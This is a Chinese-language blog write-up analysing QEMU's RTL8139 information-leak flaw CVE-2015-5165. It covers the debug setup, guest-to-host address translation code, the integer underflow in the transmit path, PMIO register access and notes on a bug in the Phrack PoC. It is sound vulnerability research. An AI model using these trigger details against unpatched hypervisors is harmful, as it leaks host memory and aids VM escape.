QEMU 信息泄露漏洞 CVE-2015-5165 分析及利用

参考 Phrack 文章 VM escape - QEMU Case Study [1] 对 QEMU 信息泄露漏洞 CVE-2015-5165 和堆溢出漏洞 CVE-2015-7504 进行调试分析并编写 Exploit 代码,本文主要分析其中的 RTL8139 网卡信息泄露漏洞 CVE-2015-5165。

0x01. 环境搭建

1.1 宿主机创建

在 VMware Workstation 中创建 Ubuntu 20.04 虚拟机,并为虚拟机的 CPU 开启虚拟化引擎相关选项,使之支持嵌套虚拟化,以便对 QEMU 进行调试分析。

安装好 Ubuntu 之后,可以先将源设置为国内的开源镜像网站,之后执行如下命令更新系统组件:

1
2
$ sudo apt-get update
$ sudo apt-get upgrade

编译 QEMU 需要 Python 2,因为 Ubuntu 20.04 中只有 Python 3,所以需要自行安装 Python 2:

1
2
$ sudo apt-get install python2
$ sudo ln -s /usr/bin/python2 /usr/bin/python

编译 QEMU 所依赖的其他库:

1
$ sudo apt-get install zlib1g-dev libglib2.0-dev libpixman-1-dev

1.2 QEMU 编译

1
2
3
4
5
6
7
8
$ git clone git://git.qemu-project.org/qemu.git
$ cd qemu
$ git checkout bd80b59
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu \
--enable-debug --disable-werror
$ make

如果出现以下错误,给文件 commands-posix.c 增加头文件 <sys/sysmacros.h> 即可解决 [2]。

1
2
3
/usr/bin/ld: qga/commands-posix.o: in function `dev_major_minor':
/repo/qemu/qga/commands-posix.c:640: undefined reference to `major'
/usr/bin/ld: /repo/qemu/qga/commands-posix.c:641: undefined reference to `minor'

1.3 虚拟机创建

QEMU 编译完成之后,需要创建一个用于调试漏洞的虚拟机。为了调试方便,这里安装 Ubuntu 20.04 Server 版本(比较新的 Ubuntu Server 没有 32 位的版本,但这里建议安装一个 32 位的系统,因为后面的 PoC 和 Exploit 都是针对 32 位环境编写的),相关命令如下所示 [3]:

1
2
3
4
$ ./qemu-img create -f qcow2 ~/Desktop/vm/ubuntu.img 10G
$ x86_64-softmmu/qemu-system-x86_64 -enable-kvm -boot d -cdrom \
/mnt/hgfs/share/ubuntu-20.04-live-server-amd64.iso \
-hda ~/Desktop/vm/ubuntu.img -m 1024

这里还需要安装一个 VNC Viewer [4],以便远程访问虚拟机,下载 deb 安装包后使用如下命令进行安装:

1
$ sudo dpkg -i VNC-Viewer-6.20.529-Linux-x64.deb

之后就可以通过 VNC Viewer 来访问虚拟机了。

0x02. 内存映射

和 Host 操作系统一样,Guest 操作系统中的每个进程都有自己的虚拟地址空间,这里称之为 Guest Virtual Address,即 GVA;通过进程自身的页表(Page Table),Guest 操作系统可以将 GVA 转换为对应的 GPA(Guest Physical Address)。

Guest 操作系统的 GPA,实际上是对应的 QEMU 进程中映射的虚拟内存,即 HVA(Host Virtual Address);Host 操作系统同样通过对应进程的页表,最终将其转换为对应的 HPA(Host Physical Address)。

待 Ubuntu Server 虚拟机安装完毕后,可以通过如下命令启动该虚拟机:

1
2
$ x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -drive \
file=~/Desktop/vm/ubuntu.img,format=qcow2,if=ide,cache=writeback

这里给虚拟机分配了 2GB 的内存,可以在对应的 QEMU 进程中找到对应的虚拟内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ps -e|grep qemu
4407 pts/1 00:01:14 qemu-system-x86

$ cat /proc/4407/maps
......
7fe880021000-7fe884000000 ---p 00000000 00:00 0
7fe884000000-7fe904000000 rw-p 00000000 00:00 0 [2GB RAM]
7fe904000000-7fe90465d000 rw-p 00000000 00:00 0
......
7ffc9f4a1000-7ffc9f4c2000 rw-p 00000000 00:00 0 [stack]
7ffc9f4fd000-7ffc9f500000 r--p 00000000 00:00 0 [vvar]
7ffc9f500000-7ffc9f501000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]

关于 Guest Virtual Address 到 Host Virtual Address 的转换,Phrack 的文章没怎么解释,在网上找到另一篇文章 [5] 解释的比较清楚(以 64 位系统为例):

  1. 每个页面的大小为 4096 字节,即 1 << 12

  2. 基于 /proc/pid/pagemap 可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame Number(PFN)等;

    • pagemap 文件为每个 Virtual Page 存储 64 位(即 8 字节)的信息,数据格式如下:
1
2
3
4
5
6
7
8
9
Bits 0-54  page frame number (PFN) if present
Bits 0-4 swap type if swapped
Bits 5-54 swap offset if swapped
Bit 55 pte is soft-dirty
Bit 56 page exclusively mapped (since 4.2)
Bits 57-60 zero
Bit 61 page is file-page or shared-anon (since 3.5)
Bit 62 page swapped
Bit 63 page present
  1. 对任意的虚拟地址 address ,基于 address / 4096 可以计算出该虚拟地址在 pagemap 文件中的索引值, address / 4096 * 8 即对应的文件偏移值;

  2. 对任意的虚拟地址 addressaddress % 4096 即虚拟地址在对应的内存页中的偏移值;

  3. 基于物理内存的 PFN 以及页内偏移,就可以计算出对应的物理地址;

获取虚拟地址对应的物理地址的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

uint64_t get_physical_pfn(char* ptr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)ptr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t get_physical_addr(char* ptr)
{
uint64_t pfn = get_physical_pfn(ptr);
return pfn * PAGE_SIZE + (uint64_t)ptr % PAGE_SIZE;
}

int main(int argc, char** argv)
{
char* ptr = (char*)malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
printf("Physical address: 0x%" PRIx64 "\n", get_physical_addr(ptr));
printf("Press any key to exit...\n");
getchar();
free(ptr);

return 0;
}

根据文档 [6] 可知,只有拥有 CAP_SYS_ADMIN 权限的进程才可以读取到 PFN,否则虽然可以打开 pagemap 文件,但是读取到的 PFN 将会是 0

Since Linux 4.0 only users with the CAP_SYS_ADMIN capability can get PFNs.
In 4.0 and 4.1 opens by unprivileged fail with -EPERM. Starting from
4.2 the PFN field is zeroed if the user does not have CAP_SYS_ADMIN.
Reason: information about PFNs helps in exploiting Rowhammer vulnerability.

编译好程序之后将其上传到 QEMU 虚拟机中以 root 身份执行,打印出物理地址为 0x617192a0

1
2
3
4
$ sudo ./a.out
Where am I?
Physical address: 0x617192a0
Press any key to exit...

在宿主机中使用 GDB 附加到 QEMU 进程,可以看到虚拟机中的物理地址实际上就是 QEMU 进程为虚拟机分配的内存所在的 Host Virtual Address 的偏移地址:

1
2
3
$ sudo gdb qemu-system-x86 4407
(gdb) x /s 0x7fe884000000 + 0x617192a0
0x7fe8e57192a0: "Where am I?"

0x03. 漏洞分析

3.1 漏洞简介

CVE-2015-5165 是 QEMU 在模拟 Realtek RTL8139 网卡时存在的一个漏洞,具体为文件 hw\net\rtl8139.c 中的函数 rtl8139_cplus_transmit_one 在发送数据时没有检查 IP 数据包头部的长度 hlen 与整个 IP 数据包的长度 ip->ip_len 之间的关系,导致在计算数据长度的时候存在整数溢出:

1
/*uint16_t*/ ip_data_len = be16_to_cpu(ip->ip_len) - hlen;

利用该漏洞可以把越界读取到的数据通过网络发送出去。

3.2 基础知识

3.2.1 Ethernet Frame Format

OSI(Open Systems Interconnection)将网络协议分为七层,从上往下依次为:

  • 应用层
  • 表示层
  • 会话层
  • 传输层
  • 网络层
  • 数据链路层
  • 物理层

以太网帧(Ethernet Frame)在数据链路层传输,格式参考下图中的灰色部分 [7]:

Ethernet Frame Format

相关字段解释:

  • DST / SRC 为目标 / 源的 MAC 地址
  • Length / Type:

    • 如果值小于等于 1500 ,则表示 Payload 的长度
    • 否则表示 Payload 数据所使用的协议,比如 0x0800 表示 IP 协议(这里指 IPv4)
  • Payload 的 MTU(Maximum Transmission Unit)为 1500 字节,当数据超出 MTU 时需要进行分片处理

3.2.2 IP Packet Format

IP 数据包(这里指 IPv4)在网络层传输,格式参考下图 [7]:

IP Packet Format

相关字段解释:

  • IHL(Internet Header Length)表示 IP Header 的长度,最大可以是 0b1111 * 4 = 60 字节
  • Total Length 表示整个 IP Packet 的长度,最大可以是 65535 字节
  • IP Data 的最大长度为 65535 - 20 = 65515 字节
    • 此时 IP Header 的长度为 20 字节,Options 字段的长度为 0 字节

3.2.3 TCP Segment Format

TCP 报文在传输层传输,格式参考下图 [7]:

TCP Segment Format

和 IP 数据包一样,TCP 报文头部的长度由 Header Length 字段指明,最大可以是 0b1111 * 4 = 60 字节,在 Options 字段为空的情况下头部长度为 20 字节。

3.3 漏洞分析

漏洞位于文件 hw\net\rtl8139.c 中的函数 rtl8139_cplus_transmit_one ,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#define ETHER_ADDR_LEN 6
#define ETHER_TYPE_LEN 2
#define ETH_HLEN (ETHER_ADDR_LEN * 2 + ETHER_TYPE_LEN)
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
#define ETH_P_8021Q 0x8100 /* 802.1Q VLAN Extended Header */
#define ETH_MTU 1500

/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;

// saved_buffer 指向 Ethernet Frame, 这里读取 Length/Type 字段
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP) // Payload 为 IP Packet
{
DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN; // Payload 数据
eth_payload_len = saved_size - ETH_HLEN; // Payload 大小

ip = (ip_header*)eth_payload_data; // IP Packet
// 检查是否为 IPv4
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip); // IP 头长度
ip_protocol = ip->ip_p;
// 计算 IP 数据包中数据的长度, 这里 ip_data_len 的类型为 uint16_t
// 当 be16_to_cpu(ip->ip_len) < hlen 触发整数溢出
// ip_data_len 最大可以是 0xFFFF
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
}
}

这里尝试从 Ethernet Frame 中解析 IPv4 数据包,在计算 IP 数据包中的数据长度时,在进行减法运算前并没有比较两个操作数的大小关系,通过触发整数溢出使得 ip_data_len 的最大值可以是 0xFFFF

紧接着是发送数据包,如果是 TCP 数据( IP_PROTO_TCP )且数据量过大(设置了 CP_TX_LGSEN 标记),则会进行分片处理,即切分成多个 IP 数据包进行发送;此时 ip_data_len 将被用于计算 tcp_data_len 的值:

1
2
3
4
5
6
7
8
/* pointer to TCP header */
tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);

int tcp_hlen = TCP_HEADER_DATA_OFFSET(p_tcp_hdr);

/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

随后对 tcp_data_len 长度的数据按照 tcp_chunk_size 的大小进行分片发送:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
tcp_send_offset += tcp_chunk_size)
{
uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}

/* add 4 TCP pseudoheader fields */
/* copy IP source and destination fields */
memcpy(data_to_checksum, saved_ip_header + 12, 8);

if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
(uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
}

/* keep PUSH and FIN flags only for the last frame */
if (!is_last_frame)
{
TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
}

/* recalculate TCP checksum */
ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
p_tcpip_hdr->zeros = 0;
p_tcpip_hdr->ip_proto = IP_PROTO_TCP;
p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);

p_tcp_hdr->th_sum = 0;

int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
p_tcp_hdr->th_sum = tcp_checksum;

/* restore IP header */
memcpy(eth_payload_data, saved_ip_header, hlen);

/* set IP data length and recalculate IP checksum */
ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);

/* increment IP id for subsequent frames */
ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));

ip->ip_sum = 0;
ip->ip_sum = ip_checksum(eth_payload_data, hlen);

int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);

/* add transferred count to TCP sequence number */
p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
++send_count;
}

这里封装好的 Ethernet Frame 通过函数 rtl8139_transfer_frame 发送,函数部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf)
{
// ------------------------------- cut -------------------------------
if (TxLoopBack == (s->TxConfig & TxLoopBack))
{
size_t buf2_size;
uint8_t *buf2;

if (iov) {
buf2_size = iov_size(iov, 3);
buf2 = g_malloc(buf2_size);
iov_to_buf(iov, 3, 0, buf2, buf2_size);
buf = buf2;
}

DPRINTF("+++ transmit loopback mode\n");
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);

if (iov) {
g_free(buf2);
}
}
// ------------------------------- cut -------------------------------
}

可以看出,当设置了 TxLoopBack 标记时,会直接调用 rtl8139_do_receive 接收数据,数据会写入到接收缓冲区中。

0x04 漏洞利用

4.1 RTL8139 网卡简介

QEMU 模拟的 RTL8139 网卡在发送和接收数据时,内部代码分支的走向很大程度上依赖于网卡的状态,对应的结构体为 RTL8139State (位于文件 hw\net\rtl8139.c 中):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
typedef struct RTL8139State {
/*< private >*/
PCIDevice parent_obj;
/*< public >*/

uint8_t phys[8]; /* mac address */
uint8_t mult[8]; /* multicast mask array */
/* TxStatus0 in C mode*/ /* also DTCCR[0] and DTCCR[1] in C+ mode */
uint32_t TxStatus[4];
uint32_t TxAddr[4]; /* TxAddr0 */
uint32_t RxBuf; /* Receive buffer */
/* internal variable, receive ring buffer size in C mode */
uint32_t RxBufferSize;
uint32_t RxBufPtr;
uint32_t RxBufAddr;

uint16_t IntrStatus;
uint16_t IntrMask;

uint32_t TxConfig;
uint32_t RxConfig;
uint32_t RxMissed;

uint16_t CSCR;

uint8_t Cfg9346;
uint8_t Config0;
uint8_t Config1;
uint8_t Config3;
uint8_t Config4;
uint8_t Config5;

uint8_t clock_enabled;
uint8_t bChipCmdState;

uint16_t MultiIntr;

uint16_t BasicModeCtrl;
uint16_t BasicModeStatus;
uint16_t NWayAdvert;
uint16_t NWayLPAR;
uint16_t NWayExpansion;

uint16_t CpCmd;
uint8_t TxThresh;

NICState *nic;
NICConf conf;

/* C ring mode */
uint32_t currTxDesc;

/* C+ mode */
uint32_t cplus_enabled;

uint32_t currCPlusRxDesc;
uint32_t currCPlusTxDesc;

uint32_t RxRingAddrLO;
uint32_t RxRingAddrHI;

EEprom9346 eeprom;

uint32_t TCTR;
uint32_t TimerInt;
int64_t TCTR_base;

/* Tally counters */
RTL8139TallyCounters tally_counters;

/* Non-persistent data */
uint8_t *cplus_txbuffer;
int cplus_txbuffer_len;
int cplus_txbuffer_offset;

/* PCI interrupt timer */
QEMUTimer *timer;

MemoryRegion bar_io;
MemoryRegion bar_mem;

/* Support migration to/from old versions */
int rtl8139_mmio_io_addr_dummy;
} RTL8139State;

RTL8139State 结构体中的许多字段实际上就是 RTL8139 网卡内部的寄存器,关于这些寄存器的描述,可以参考厂商 Realtek 提供的 Datasheet 手册 [8],下图为 Phrack 文章 [1] 提供的介绍(这里为 RTL8139 网卡在 C+ 模式下的寄存器介绍):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        +---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
  • TxConfig:发送数据相关的配置参数
  • RxConfig:接收数据相关的配置参数
  • CpCmd:C+ 模式相关配置参数,比如:
    • CplusRxEnd 表示启用接收
    • CplusTxEnd 表示启用发送
  • TxAddr0:Tx descriptors table 相关的物理内存地址
    • 0x20 ~ 0x27:Transmit Normal Priority Descriptors Start Address
    • 0x28 ~ 0x2F:Transmit High Priority Descriptors Start Address
  • RxRingAddrLO:Rx descriptors table 物理内存地址低 32 位
  • RxRingAddrHI:Rx descriptors table 物理内存地址高 32 位
  • TxPoll:让网卡检查 Tx descriptors

关于 Descriptor 的定义,同样可以参考厂商 Realtek 提供的 Datasheet 手册 [8],下图为 Transmit Descriptor 的定义:

RTL8139 网卡 Transmit Descriptor

Phrack 文章 [1] 给出的结构体的定义如下:

1
2
3
4
5
6
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

4.2 Port Mapped I/O

CPU 可以通过以下两种方式和外设进行交互(这里不讨论 IRQ、DMA 等其他交互方式):

  • Memory Mapped I/O 即 MMIO
  • Port Mapped I/O 即 PMIO

MMIO 将外设的内存和寄存器直接映射到系统的地址空间中(这部分空间通常是保留给外设专用的),这样 CPU 通过普通的汇编指令即可和外设进行交互;而 PMIO 则将外设的内存和寄存器映射到隔离的地址空间中(PMIO 地址空间的大小为 64KB),CPU 通过 inout 指令和外设进行交互。

在 Windows 下,可以通过设备管理器查看设备的 PMIO 地址范围,下图为 VMware SVGA 3D 的 PMIO 地址区间之一:

VMware SVGA 3D PMIO

在 Linux 下可以使用 pciutils 中的 lspci 查看设备的 PMIO 地址区间 [9],这里测试用的 Ubuntu Server 已经自带了 pciutils,只需要在启动时添加 RTL8139 网卡即可,启动命令如下:

1
2
3
4
$ x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -drive \
file=~/Desktop/vm/ubuntu.img,format=qcow2,if=ide,cache=writeback \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-net user,hostfwd=tcp::2222-:22 -net nic

这里最后一行的作用是把 Ubuntu Server 虚拟机的 22 端口转发到主机的 2222 端口,方便主机通过 SSH 访问虚拟机(VNC Viewer 无法复制粘贴),在主机中执行以下命令即可连接虚拟机:

1
$ ssh vmusername@127.0.0.1 -p 2222

通过 lspci 命令可以看到 RTL8139 网卡的 PMIO 的起始地址为 0xC000 ,大小为 256 字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)

$ lspci -s 00:04.0 -v
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)
Subsystem: Red Hat, Inc. QEMU Virtual Machine
Physical Slot: 4
Flags: bus master, fast devsel, latency 0, IRQ 10
I/O ports at c000 [size=256]
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: 8139cp
Kernel modules: 8139cp, 8139too

4.3 PMIO 读写

通过结构体 RTL8139State 的成员 bar_io 的交叉引用可以定位到函数 pci_rtl8139_realize ,这里对 PMIO 和 MMIO 进行了初始化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
RTL8139State *s = RTL8139(dev);
DeviceState *d = DEVICE(dev);
uint8_t *pci_conf;

pci_conf = dev->config;
pci_conf[PCI_INTERRUPT_PIN] = 1; /* interrupt pin A */
/* TODO: start of capability list, but no capability
* list bit in status register, and offset 0xdc seems unused. */
pci_conf[PCI_CAPABILITY_LIST] = 0xdc;

memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
"rtl8139", 0x100);
memory_region_init_io(&s->bar_mem, OBJECT(s), &rtl8139_mmio_ops, s,
"rtl8139", 0x100);
pci_register_bar(dev, 0, PCI_BASE_ADDRESS_SPACE_IO, &s->bar_io);
pci_register_bar(dev, 1, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->bar_mem);
// ......
}

PMIO 的读写函数可以从变量 rtl8139_io_ops 中找到:

1
2
3
4
5
6
7
8
9
static const MemoryRegionOps rtl8139_io_ops = {
.read = rtl8139_ioport_read,
.write = rtl8139_ioport_write,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
.endianness = DEVICE_LITTLE_ENDIAN,
};

PMIO 写函数 rtl8139_ioport_write 的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void rtl8139_ioport_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
switch (size) {
case 1:
rtl8139_io_writeb(opaque, addr, val);
break;
case 2:
rtl8139_io_writew(opaque, addr, val);
break;
case 4:
rtl8139_io_writel(opaque, addr, val);
break;
}
}

写的长度可以是字节、字、双字,这里以字节为单位的 PMIO 写函数为 rtl8139_io_writeb ,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
RTL8139State *s = opaque;

switch (addr)
{
case MAC0 ... MAC0+4:
s->phys[addr - MAC0] = val;
break;
// ......
case TxPoll:
DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
if (val & (1 << 7))
{
DPRINTF("C+ TxPoll high priority transmission (not "
"implemented)\n");
//rtl8139_cplus_transmit(s);
}
if (val & (1 << 6))
{
DPRINTF("C+ TxPoll normal priority transmission\n");
rtl8139_cplus_transmit(s);
}
break;
// ......
}
}

当往 TxPoll 写入数据时,可以触发 C+ TxPoll normal priority transmission ,即调用函数 rtl8139_cplus_transmit ,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void rtl8139_cplus_transmit(RTL8139State *s)
{
int txcount = 0;

while (rtl8139_cplus_transmit_one(s))
{
++txcount;
}

/* Mark transfer completed */
if (!txcount)
{
DPRINTF("C+ mode : transmitter queue stalled, current TxDesc = %d\n",
s->currCPlusTxDesc);
}
else
{
/* update interrupt status */
s->IntrStatus |= TxOK;
rtl8139_update_irq(s);
}
}

该函数会循环调用 rtl8139_cplus_transmit_one ,也就是存在漏洞的函数!

4.4 漏洞触发

弄清楚漏洞的原理之后,编写 PoC 就比较简单了!对 Linux 和硬件接触不多的初学者(比如笔者自己),建议尝试理解每一行代码的作用,遇到不懂的概念就 Google 一下,代码不 Work 就 Debug 一下,在这个过程中可以学到很多新的知识,这也正是分析该漏洞的出发点。

在主机中可以通过 GDB 附加到 QEMU 进程 qemu-system-x86 进行调试,触发漏洞的位置如下:

GDB 调试 QEMU 漏洞 CVE-2015-5165

调试过程中遇到的几个坑:

(I) 在构造数据包时,Ethernet Frame 的源 MAC 地址、目标 MAC 地址需要填充为 QEMU 虚拟机 RTL8139 网卡的 MAC 地址,通过 ifconfig -a 命令可以查看本机所有网卡的数据;笔者一开始使用的 ifconfig 命令,结果偏偏没有打印 RTL8139 网卡的信息,导致填充了错误的 MAC 地址,通过调试 QEMU 进程才发现 MAC 地址不一致;

(II) Phrack 文章 [1] 提供的 Exploit 代码中 rtl8139_tx_desc 是栈上的局部变量,实际测试时发现获取不到在内存中的物理地址(Guest Physical Address),改为从堆上动态申请内存即可;调试发现是笔者自己实现的获取物理内存地址的代码有问题,因为栈的地址很高,转换成有符号数是一个负数,所以在调用 fseek 的时候需要处理好符号问题,否则 fseek 会失败;

1
2
3
4
5
6
7
8
if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET)) 
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}

(III) 在 QEMU 虚拟机测试 PoC 时,发现打印接收到的数据的时候进程 Crash 了,从打印出来的调用栈来看,应该是接收缓冲区溢出了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ sudo ./a.out
*** Error in `./a.out': corrupted size vs. prev_size: 0x092975e8 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb75af377]
/lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb75b52f7]
/lib/i386-linux-gnu/libc.so.6(+0x6f979)[0xb75b7979]
/lib/i386-linux-gnu/libc.so.6(__libc_malloc+0xc5)[0xb75b8fc5]
/lib/i386-linux-gnu/libc.so.6(_IO_file_doallocate+0x6e)[0xb75a592e]
/lib/i386-linux-gnu/libc.so.6(_IO_doallocbuf+0x47)[0xb75b31c7]
/lib/i386-linux-gnu/libc.so.6(_IO_file_overflow+0x1c1)[0xb75b2561]
/lib/i386-linux-gnu/libc.so.6(_IO_file_xsputn+0x94)[0xb75b1684]
/lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x193)[0xb758a253]
/lib/i386-linux-gnu/libc.so.6(_IO_printf+0x26)[0xb7591696]
./a.out[0x8048b1e]
./a.out[0x8048c61]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7560637]
./a.out[0x80485b1]

调试发现 Phrack 文章 [1] 末尾给出的代码存在一个 Bug,而这个 Bug 居然没有人发现,笔者搜索了国内相关的技术文章,发现都照搬了这个 Bug 。其他人没有发现这里的问题,可能是由于分析环境的不同所造成的:

  • 笔者的 QEMU 虚拟机中安装的是 Ubuntu 官方发行的 Server 版本
  • 其他文章中的 QEMU 虚拟机中安装的是临时编译的 Linux 系统

对该 Bug 的分析如下:

  1. 函数 rtl8139_cplus_transmit_one 在发送分片后的 Ethernet Frame 时,数据包的大小是 1514 字节;
1
2
3
4
5
6
7
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
// ......
uint16_t chunk_size = tcp_chunk_size;
// ......
int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);
  1. 因为是发给本机的数据,所以执行流程经由 rtl8139_transfer_frame 进入 rtl8139_do_receive ,这里会检查接收缓冲区是否还有多余的 4 字节空间用于填充 Checksum ;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;
// ......
if (size+4 > rx_space)
{
DPRINTF("C+ Rx mode : descriptor %d size %d received %d + 4\n",
descriptor, rx_space, size);
// error handling ......
}

dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);

/* receive/copy to target memory */
if (dot1q_buf) {
// ......
} else {
pci_dma_write(d, rx_addr, buf, size);
}

// ......
/* write checksum */
val = cpu_to_le32(crc32(0, buf, size_));
pci_dma_write(d, rx_addr+size, (uint8_t *)&val, 4);
